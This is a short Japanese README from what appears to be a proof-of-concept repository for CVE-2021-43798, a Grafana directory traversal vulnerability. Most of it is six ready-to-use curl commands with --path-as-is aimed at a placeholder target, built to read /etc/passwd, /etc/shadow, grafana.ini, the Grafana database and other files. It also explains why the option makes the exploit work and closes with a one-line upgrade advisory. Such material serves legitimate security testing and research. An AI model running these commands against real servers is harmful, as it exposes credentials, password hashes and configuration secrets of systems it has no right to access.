
このリポジトリは、Grafana のディレクトリトラバーサル脆弱性である CVE-2021-43798 の悪用を実演するものです。この脆弱性により、攻撃者はサーバー上の任意のファイルを読み取ることができます。
この脆弱性を手動で悪用するには、以下の curl コマンドのいずれかを使用して、機密ファイルの読み取りを試みることができます。
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../Users/install.txt"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/passwd"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/grafana/grafana.ini"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/hostname"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/shadow"
この脆弱性を悪用するにあたり、--path-as-is オプションは不可欠です。特別に細工されたトラバーサルシーケンス(../../../../../)を改変されることなくサーバーに直接送信できるため、意図されたディレクトリの外にあるサーバー上の機密ファイルにアクセスできる可能性があります。
--path-as-is を使用しない場合、curl はパスを /public/plugins/Users/install.txt のような形に正規化してしまい、脆弱性を悪用できません。--path-as-is を使用することで、正確なトラバーサルシーケンスが保持され、エクスプロイトが成功します。
curl ドキュメントには、--path-as-is オプションの詳細が記載されています。--path-as-is を理解して活用することで、セキュリティ専門家や研究者は、Web アプリケーションのディレクトリトラバーサル脆弱性を効果的に実演およびテストできます。
この脆弱性を緩和するには、Grafana をバージョン 8.3.1 以降にアップグレードしてください。